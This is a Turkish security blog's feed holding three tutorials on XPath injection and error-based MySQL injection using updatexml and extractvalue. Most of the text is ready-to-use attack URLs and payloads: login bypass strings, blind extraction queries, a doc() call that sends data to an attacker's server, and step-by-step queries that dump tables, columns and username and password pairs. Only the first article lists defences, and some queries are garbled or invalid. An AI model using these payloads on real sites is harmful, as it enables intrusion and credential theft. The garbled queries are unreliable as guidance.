xml arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:37:53 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png xml arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Xpath Injection https://canyoupwn.me/tr-xpath-injection-2/ https://canyoupwn.me/tr-xpath-injection-2/#respond Tue, 16 Aug 2016 10:40:20 +0000 https://canyoupwn.me/?p=3848 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Arkadaşlar merhaba. Bu makalemde sizlere bir tür web açıklığı olan Xpath Injection zaafiyetini anlatacağım. Xpath Injection Nedir ? İlk önce Xpath’in ne anlama geldiğine bir bakalım . Xpath , XML dökümanları üzerinde basit tipte sorgulama yapmamıza izin veren bir dildir. Yapısı gereği kullanıldığı birçok alan vardır . Örnek olarak XQuery ve XSLT gibi. Tam olarak […]

TR | Xpath Injection CypmUni PAÜ

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Arkadaşlar merhaba. Bu makalemde sizlere bir tür web açıklığı olan Xpath Injection zaafiyetini anlatacağım.

Xpath Injection Nedir ?

İlk önce Xpath’in ne anlama geldiğine bir bakalım . Xpath , XML dökümanları üzerinde basit tipte sorgulama yapmamıza izin veren bir dildir. Yapısı gereği kullanıldığı birçok alan vardır . Örnek olarak XQuery ve XSLT gibi. Tam olarak yaptığı iş , XML dökümanı içerisinde lokasyon aramak ve bulmak diyebiliriz.

Web uygulamalarında veriler veritabanı sunucusunda çeşitli şekillerde depolanabiliyorlar. Sunucudaki veri depolama formatı RDMBS(Relational Database Management System), LDAP(Lightweight Directory Access Protocol) veya XML (Extensible Markup Language) gibi formatlarda olabilir. Uygulama , kullanıcının veri giriş alanlarına girdiği verilerden sorgular oluşturur ve sunucuya gönderir. Sorgunun sunucuda çalışması sonucunda dönen veriler kullanıcıya sunulmaktadır .

Xpath ınjection saldırılarında saldırgan Xpath sorgulama diline , XML veritabanına ve uygulamanın yazıldığı programlama diline hakim olması gerekir.

XML veritabanı , verileri alışılagelmiş olan tablolar içerisinde kolon ve satırlarda değilde , XML dökümanı içerisinde ağaç yapısındaki node’larda saklanır.

Ekran görüntüsü_2016-08-15_15-04-54

XML Veritabanı Ağaç Yapısı

XML veritabanında kullanıcıları için tablolara, kolonlara veya sorgulara erişimde sınırlamalar getirilmemiştir. Farklı kullanıcılar için farklı erişim seviyeleri bulunmamaktadır. Gerekli önlem alınmadığı takdirde herhangi bir kullanıcı tüm XML dökümanına erişebilir. Bu da, uygulamada XPath açığı bulunması halinde saldırganın tüm XML veri tabanını ele geçirebilmesi anlamına gelmektedir.

Bu saldırı yöntemine sebep olan durumları, teknikleri ve saldırının oluşturacağı sonuçları hem yazılım geliştirici hem de sistem yöneticisi iyi bir şekilde bilmeli ve sistemin güvenliği için gerekli önlemler alınmalıdır.

XML veritabanında kullanıcıları için tablolara , kolonlara veya sorgulara erişimde sınırlamalar getirilmemiştir. Farklı kullanıcılar için farklı erişim seviyeleri bulunmamaktadır. Gerekli önlem alınmadığında takdirde herhangi bir kullanıcı tüm XML dökümanlara ulaşabilir . Bunun sonucunda oluşan güvenlik zaafiyeti olan Xpath açığı bulunması halinde saldırganın bütün XML veri tabanını ele geçirmesi anlamına gelmektedir.

Örnek olarak anlatmak istersek:

Simdi bizim bir Mert diye bir arkadaşımız var. Aşağıda bir kullanıcı adı ve sifre belirliyorum ona göre işlem yapalım.

Kullanıcı Adı= CYPM

Şifresi =CYPM

Şimdi /user[kullaniciadi=“CYPM” and sifre=“CYPM”]  sorgusu uygulama tarafından oluşturularak sunucuya gönderilir. Bu sorgu sonucunda bize (true and true ) = TRUE dönecektir ve mert arkadaşımız sisteme giriş yapmış olacaktır.

Xpath injection saldırısı ile de kullanıcımız bu yetkilendirme aşamasını atalatabilir. Sistemde Xpath İnjection açığı varsa saldırganın giriş formlarına yazacağı,

Eğer Saldırgan kullanıcı adını bilip sifreyi bilmiyorsa:

Kullanici Adı= mert “ or “1” = “1

Şifresi= herhangibirsifre

değerleri ile servera gönderilecek sorgu = /user[kullaniciadi=“ mert” or”1”=“1 ” and sifre=“herhangibirsifre”]  şeklinde olacaktır ve mantıksal işleyişi de şu şekilde olacaktır :

True or (True and False) -> True or False = TRUE olacaktır ve mert arkadaşımızın yetkileri ile giriş yapmış olacağız.

Xpath sorgulamada yorum satırı “< >” tag’leri arasına yazılır. SQL Injectionda olduğu gibi “ – – “ karakterlerinden sonra yazılan mesela şifrenin bilinmemesinden kaynaklanan False değeri, yorum satırı haline getirilip elenemez. Bunun yerine “ 1=1 ” gibi “True” bir ifadeyle “and” işleminin “or” işlemine göre önce işleme alınması kullanılarak False olan şifre değeri elenir ve bu şekilde sisteme girişi yapmış oluruz.

Eğer saldırganımız Kullanıcı Adını da bilmiyorsa şu şekilde giriş yapabilir.

Kullanıcı Adı= herhangibirAd or “1” = “1” or “1” = “1

Sifresi= herhangibirsifre

değerler girildiğinde /*[1]/user[kullaniciadi=“ herhangibirAd” or “1” or “1” =“1 and sifre=“herhangibirsifre”]  sorgusu servera gönderildiğinde bu sorgudaki mantıksal işlem False or True or (False and True)->

True or False = TRUE olacaktır ve bu işlem XML dosyasındaki ilk nodu çalıştıracak ve ilk kullanıcının yetkileri ile sisteme giriş yapılmış olacaktır.

Başka bir Örnek daha verecek olursak :

<?php

$test=$_GET[‘test’];

if($test)

{

$xml=simplexml_load_file(“cypm.xml”);

$result=$xml->xpath($test);

print_r($result);

}

?>

Şimdi bu yukarıda yazdığım cypm.xml dosyasına xpath query gönderdiğimize dikkat ediyoruz. Bu dosyaya bakıyoruz.

<?xml version="1.0" encoding="UTF-8"?>

<note>

<to> CYPM </to>

<from> canyoupwnme </from>

<heading> Mektup </heading>

<body> CYPM üyesiyim </body>

</note>

XML dosyasında taglere bakıyoruz. PHP dosyamıza göre sorguları gönderelim.

Index.php?test=from:

#Array ( [0] => simpleXMLelement Object ([0] => canyoupwnme ) )

Index.php?test=*

#Array ( [0] => simpleXMLelement Object ( [0] => CYPM ) [1] => simpleXMLelement Object ( [0] => canyoupwnme )

[2] => simpleXMLelement Object ( [0] =>Reminder ) [3] => simpleXMLelement Object ( [0] => CYPM üyesiyim ) )

İşte XML dosyasındaki tüm objectler karşımızda.

Blind Xpath Injection Nedir ?

Blinde Xpath ınjection , saldırganın veritabanı ile alakalı oluşturduğu boolean boolean cevaplı sorguları sunucuya göndererek XML dökümanını çözmeye çalışmasıdır.

Bliend injections saldırısı . Xpath açığı bulunan web sitesi sayfalarından gönderilen “true ” veya “false” cevaplarıyla şekilleneceği için , uygulamada sorgulara cevap olarak “true” veya “false” olarak dönen sayfaların belirlenmesi gerekir ki cevaplar bu sayfalar ile anlaşılabilsin.

Xpath Injectionda Kullanılan Fonksiyonlar :

  • Count(item): Node içindeki attributelerin(nitelik,yetenek) sayısını verir.
  • Name() : Node ismini verir.
  • String-length(string) : Belirlenen string değerin uzunluğunu verir.
  • Substring(string,start position, length) : Belirlenen string içerisinde istenilen pozisyondan başlayarak istenilen uzunluktaki alt stringi döndürür.
  • Starts-with(string1,string2) : String1 değeri string2 değeri ile başlıyorsa “true ” , başlamıyorsa “false” döndürür.
  • Contains(string1,string2) : String1 değeri string2 değerini kapsıyorsa true, kapsamıyorsa false döner.

Fonksiyonlar kullanılarak XML dökümanının içeriği brute force kullanılarak , deneme yanılmayla çıkarılmaya çalışılır.

Mesela substring() ve name() fonksiyonları kullanılarak or substring(name(parent::*[position()=1]), 1, 1)=‘a  sorgusu ile ilk node’un isminin ilk karakterinin ‘a’ olup olmadığı sunucuya sunulur.

Done coeval true ise 2. karakterin bulunabilmesi için yeni bir sorgu gönderilir , false ise ‘a’ karakteri yerine olabilecek farklı karakterler true cevabı dönene kadar denenir.

Bu fonksiyonlarla oluşturulan sorgularla karakterler denenerek node isimleri ve değerleri bulunur. Yorum satırı varsa çözülür. Varsa alt nodelar içinde süreç tekrarlanarak XML dökümanı ele geçirilir.

Xcat Aracı

Bütün bunları manuel olarak yapmaya çalışırsak zaman alacağını söylememe gerek yok sanırım . Bu yüzden sağolsunlar Xcat adlı Xpath injection ile veritabanını ele geçirmeye çalışan araç hazırlamışlar.

Python dili ile yazılmıştır. Xpath 2.0 içerisindeki fonksiyonları da kullanmasıyla çok daha hızlı hale gelmiştir.

XML Dosyasının Hangi Directory`de Çalıştığının Belirlenmesi :

Xpath 2.0 versiyonunda base-uri() fonksiyonu sorgunun hangi direktöride çalıştığını döndürür. Bu şekilde dökümana uzaktan erişim sağlanır.

Versiyon Belirleme :

Xpath versiyonun belirlenmesi için , bir büyük harfin “lower-case()” fonksiyonu kullanılarak küçük harfe çevrilip çevrilmediğini kontrol edilir. Lower-case fonksiyonu v1.0 da tanımlı olmadığından sonuç null

dönüyorsa versiyonun 1.0 olduğu , lower-case(‘A’)=‘a’ sonucu alınıyorsa Xpath 2.0 versiyonu olduğu anlaşılır.

Veri Deneme Alanının Daraltılması :

Xpath 2.0 ile gelen fonksiyonlar kullanılarak Xpath 1.0 versiyonunda yapılan bling injection veri deneme alanı daraltılabilmektedir. Böylelikle serverea gönderilen istekler azaltılmış olur ve daha kısa sürede saldırı gerçekleşmiş olur. Servere yapılan istekleri sayısını azaltmak için birçok teknik kullanılmaktadır.

-Unicode Normalizasyonu :

  • Unicode-Normalization() fonksiyonu kullanılarak unicode karaketerler ascii karakterlere çevrilebilir. Bu şekilde arama ascii değerler arasından yapılacağı için unicode gibi geniş karakterler dizisinin kullanılmasına
  • gerek yoktur. Fakat bazı karakterlere Unicode Normalizasyonu uygulanamadığı için veri kayıpları olmaktadır. Mesela ‘á’ karakteri ‘a’ karakterine ve ascii koduna çevrilir.

-String Code Point :

Xpath 2.0 içerisindeki string-to-codepoints() fonksiyonu ile bir string ifade eden her karakteri ayrı ayrı gösterilen sayılar dizisine dönüştürelebilir. String-to-codepoints(“abc”) = (97,98,99) , bu dönüşüm sonucunda sadece string karakterler deneneceği için deneme alanın daralması dolayısıyla servera gönderilen isteklerin azalmasını sağlar.

-Matches() Fonksiyonu :

Bu fonksiyon sayesinde , blind injection ile değeri denenerek bulunmaya çalışılan karakterlerin küçük büyük harf mi, sayı mı , sembol mü olduğu sorgular gönderilerek önceden öğrenilir. Böylelikle sadece belirlenen kategorinin karakterleri denenir ve sorgu sayısı azaltılmış olur.

 matches(/users/user[1]/kullaniciadi/text(),”[A-Z]”)

-Error() Fonksiyonu ile Sorgu Sonucu Bulma :

Uygulamada , servera gönderilen sorguların sonuçları için serverdan dönen “true” ve “false ” sayfaları yoksa , error() fonksiyonu kullanılarak sorgunun sonucu öğrenilir.

and(if($sorgu) then error() else 0) and ‘1’ = ‘1  surge parametere içine yazılabilecek olan sorgunun sonucu True ise error() fonksiyonu çalışacak ve hata sayfası görünecektir.

Doc() Fonksiyonu :

Doc() fonksiyonu lokal sistemde veya uzak serverdaki xml dosyalarının okunmasının okunmasını sağlayan Xpath 2.0 versiyonun fonksiyonudur. Doc() fonksiyonu sayesinde saldırgan Xpath açığı bulunan uygulamanın , dosya sistemi üzerindeki XML veritabanını yetkisi olmadan görüntüleyebilir.

doc(“file:///etc/conf/config_file.xml”)/*[1]/text()  sorgusu ile lokal sistemde config_file.xml dosyası içinde ilk node da bulunan verileri görüntületir.

Hedef serverdan XML dökümanını doc() fonksiyonuyla çekebilmek için tıpkı SQL Injection’ın Out Of Band saldırısında olduğu gibi saldırgan HTTP protokolünü ve DNS isteklerinide kullanabilir.

HTTP protokolüyle saldırgan doc() fonksiyonuyla oluşturduğu ifadeyi GET isteğiyle hedef servera gönderir. Hedef server tarafından isteğin zararlı olduğu engellenmez ise cevap olarak , ifade içindeki Xpath sorgusu çalıştırılarak saldırganın serverine gönderilir. Bu şekilde XML dökümanı Blind injection’a göre daha hızlı ve kısa sürede ele geçirilir. Hız sadece veritabanından verileri çekerken HTTP protokolünün veriyi çekerken taşıyabileceği maksimum paket büyüklüğü ile sınırlıdır.

Servera HTTP isteği gönderilirken gerekli Xpath sorgu ifadeleri URL’ ye concat() fonksiyonu ile eklenir. Sorgu ifadesinin içerisinde özel ifadeler bulunmayacağından , gönderilmeden önce encode-for-uri() fonksiyonu kullanılarak url encode edilmelidir.

Örnek

doc(concat(“http://canyoupwnme.com/savedata.py?d=”))

HTTP isteği çoğu durumda server tarafından firewall engellemesine takılabiliyor. Bu durumda saldırgan isteği hedef serverda çalıştırabilmek için DNS isteğinde bulunur. Saldırgan hedef DNS serverinden kendi serverinin adresini istekte bulunur. Hedef server gelen isteği saldırganın serverine ileterek cevap bekler. Saldırgan serverinden cevap olarak kendi adresine Xpath sorgusunuda ekleyerek hedef bilgisayara gönderir,sorgu çalışır ve hedef server tarafından DNS isteğinin cevabı ile Xpath sorgusunun sonucunda dönen veriler saldırganın bilgisayarına gönderilir.

Xpath Saldırısından Korunma Yolları :

Öncelikli olarak uygulama geliştirici code kısmında ,kullanıcının veri girişine izin verdiği alanlarda girilen karakterlerin bir Xpath sorgusu teşkil etmemesi için girişleri filtreleyerek sınırlamalar getirilmelidir.

Sınırlama kullanıcının girmemesi gereken karakterler yerine girebilme ihtimali olan karakterler dışında kalanları filtrelemek ile gelecekte çıkacak olan zero-day saldırılarına karşıda bir nevi önlem alınmış olur.

Girdi olarak Xpath fonksiyon isimleride kesinlikle engellenmelidir. Sınırlamalar yazılımla client tarafta yapıldığı gibi , server tarafında da firewall kurallarıyla kontrol edilmeli ve önlem alınmalıdır.

Parametreli sorgular kullanılmalıdır. Parametreli sorguda kullanıcı girdilerinin direkt olarak çalışma zamanında kullanılmasının yerine önceden compile edilerek kullanılmış olurlar. Böylece çalışma zamanında kod çalıştırma engellenmiş olur.

TR | Xpath Injection CypmUni PAÜ

]]>
https://canyoupwn.me/tr-xpath-injection-2/feed/ 0
TR | UpdateXML ile Error Based SQL Injection https://canyoupwn.me/updatexml-ile-error-based-sql-injection/ https://canyoupwn.me/updatexml-ile-error-based-sql-injection/#respond Wed, 29 Jun 2016 19:53:05 +0000 https://canyoupwn.me/?p=3081 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bugün farklı bir şekilde MySQL Injection yapma yöntemini göstermek istiyorum sizlere. MySQL’de bulunan “ExtractValue” fonksiyonu, XML verilerini temsil eden bir dizine karşı Xpath sorguları çalıştırmaya yarar. Fonksiyon aşağıdaki gibi girdiler içerir/alır: UPDATEXML(XMLType_Instance, XPath_string,value_expression, namespace_string) Eğer yukarıdaki hata, söz dizimi olarak yanlış ise, bize aşağıdaki gibi bir başka hata mesajı verecektir: XPATH syntax error: ‘burada xpath […]

TR | UpdateXML ile Error Based SQL Injection CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bugün farklı bir şekilde MySQL Injection yapma yöntemini göstermek istiyorum sizlere.

MySQL’de bulunan “ExtractValue” fonksiyonu, XML verilerini temsil eden bir dizine karşı Xpath sorguları çalıştırmaya yarar. Fonksiyon aşağıdaki gibi girdiler içerir/alır:

UPDATEXML(XMLType_Instance, XPath_string,value_expression, namespace_string)

Eğer yukarıdaki hata, söz dizimi olarak yanlış ise, bize aşağıdaki gibi bir başka hata mesajı verecektir:

XPATH syntax error: ‘burada xpath sorgusu yer alır

Diğer hata tabanlı ( error based )injectionlar gibi kullanacağız bunu da arkadaşlar ancak bazen Extractvalue filtrelenmiş olabilir yada serverde hiç bulunmayabilir o zaman ise konuda anlattığımız updateXML injection yöntemini uygulamamız gerekecek. Eğer, klasik union tabanlı sorguları kullanıp herhangi bir çıktı alamazsak Error tabanlı injection denememiz gerekecek.

Aşağıda kullandığımız sorgu örneğinde, çıkış yok:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" union select 1,2,3,4,5--

Yukarıdaki örnekte çift tırnağı(“) görüyoruz. Bunun anlamı, “string” tipi bir injection yaptığımızdır.

 

Şimdi kolayca sorgularımızı gönderebiliriz arkadaşlar.

Sorgu:

select path from pages where oynatugurcum="<girdimiz_buraya_gelecek>" limit 1,1;

 

Şimdi de, XPATH updateXML kullanarak sql inj işlemimize devam edelim. Yani yeni sorgumuz şu şekilde olacak:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(<b>sorgumuz_buraya_gelecek</b>)),null)--

 

Şimdi bu injection türünü kullanarak veritabanı adını çekelim.

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(0x0a,(select database()))),null)--

 

Çıktı:

XPATH syntax error: ‘:burada_database_ismi_olacak’

 

Evet, database ismini çektik. Şimdi diğer sorgularımıza devam edelim..

Şimdi bu database içindeki tabloları çekmeye çalışalım.

 

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)--

 

Çıktı:

XPATH syntax error: ‘:tablo_ismi_burada_olacak’

Yukarıda gördüğünüz gibi “limit”ide kullandık. Bunun sebebi de 32 karakterden yukarsını ekrana vurdurmuyor olması.

Şimdi, yukarıdaki sorguyu kullanıp tablolari ekrana vurdurduğumuzu varsayalım. Tablo isimleride aşagidaki gibi olsun:

-CYPMGonderiler

-CYPMBanner

-CYPMLinkler

-CYPMAsset

-CYPMUsers

-CYPMCaner

 

Şimdi de herhangi birinden kolonları çekmeyi deneyelim sorgumuzla. En mantıklı gelen şüphesiz ki orada CYPMUsers olacaktır. Onu deneyelim..

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=’CYPMUsers’ limit 0,1)),null)--

 

Çıktı:

XPATH syntax error: ‘:kolon_adlari_burada_olacak’

Aşağıdaki 3 kolonun yansıdığını varsayalım şimdi de:

-id

-username

-password

Şimdi bunlardan veri çekmeyi sağlayan sorgudan once arkadaslar, kolon sayılarını saymak icin kullandığımız sorguyu göstereceğim. Bunun sebebi de mesela istediğiniz sadece 1 üyenin parola vs bilgileri..

 

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select count(username) from CYPMUsers)),null)--

Yukarıdaki komutu verdiğiniz de tüm kullanıcıları listeleyecektir sitedeki.

 

Şimdi de, CYPMUsers daki verileri çekelim..

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select count(username,0x3a,password) from CYPMUsers limit 0,1)),null)--

Yukarıdaki sorguyu gönderdiğimizde, CYPMUsers’daki tüm kullanıcı ve parola bilgilerini çekmiş olacağız.

TR | UpdateXML ile Error Based SQL Injection CanYouPwnMe

]]>
https://canyoupwn.me/updatexml-ile-error-based-sql-injection/feed/ 0
TR | XPath Injection https://canyoupwn.me/tr-xpath-injection/ https://canyoupwn.me/tr-xpath-injection/#respond Wed, 06 Apr 2016 06:30:18 +0000 https://canyoupwn.me/?p=1535 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XPath, XML ile üzerinde çalışmak için geliştirilen bir derlemedir. XPath Injection ise XML elemanlarına yapılan saldırı türüdür. XPath Injection açığı SQL Error Based ile aynı mantıktadır fakat biraz farklıdır. Konuya geçecek olursak; Hedef sitemiz: http//www.canyoupwn.me/pwnme.php?id=1 yaptık arkadaşlar aynı SQL hata arama yaptığımız gibi bize bir hata geldi. Hata İsmi: XPATH Syntax Error Version: 5.1.52-log http//www.canyoupwn.me/pwnme.php?id=1 and […]

TR | XPath Injection CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XPath, XML ile üzerinde çalışmak için geliştirilen bir derlemedir. XPath Injection ise XML elemanlarına yapılan saldırı türüdür. XPath Injection açığı SQL Error Based ile aynı mantıktadır fakat biraz farklıdır.

Konuya geçecek olursak;

Hedef sitemiz:

http//www.canyoupwn.me/pwnme.php?id=1

yaptık arkadaşlar aynı SQL hata arama yaptığımız gibi bize bir hata geldi.
54CgW

Hata İsmi: XPATH Syntax Error
Version: 5.1.52-log

http//www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 0,1)))--

Bu komutda gördüğünüz gibi group_concat yerine extractvalue komutunu kullanıyoruz. Bu komut tabloları yansıtmaya yarıyor.

54CgW

Burada tablo o limit üzerine tablo bulunamadığını söylüyor. Limitlerle biraz oynamamız gerek.

http//www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 123,1)))--

Limiti ben 123 yaptım bakalım tablo yansıtacak mı?

54CgW

Gördüğünüz gibi tbladmin adında tablo yansıttı.Şimdi kolonları yansıtalım.

Bu komut ile kolonları yansıtacağız. Aynı error based sql

http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 0,1)))--

54CgW

Gördüğünüz gibi bu sefer kolon bulamadı. Yine limit ayarları ile oynayacağız.

http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 2525,1)))--

54CgW

 

İd kolonunu yansıttık.

Limit ayarlarını değiştirerek username ve passwordu da bulun.

Bu komut ile datayı yansıtacağım. mysql_auth_usr = database

Şunuda söyleyim 0x3a = : demektir.

http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,idx,0x3a,username,0x3a,password) from mysql_auth_usr)))--

54CgW

 

Gördüğünüz gibi id ve pass a ulaşmış olduk.

TR | XPath Injection CanYouPwnMe

]]>
https://canyoupwn.me/tr-xpath-injection/feed/ 0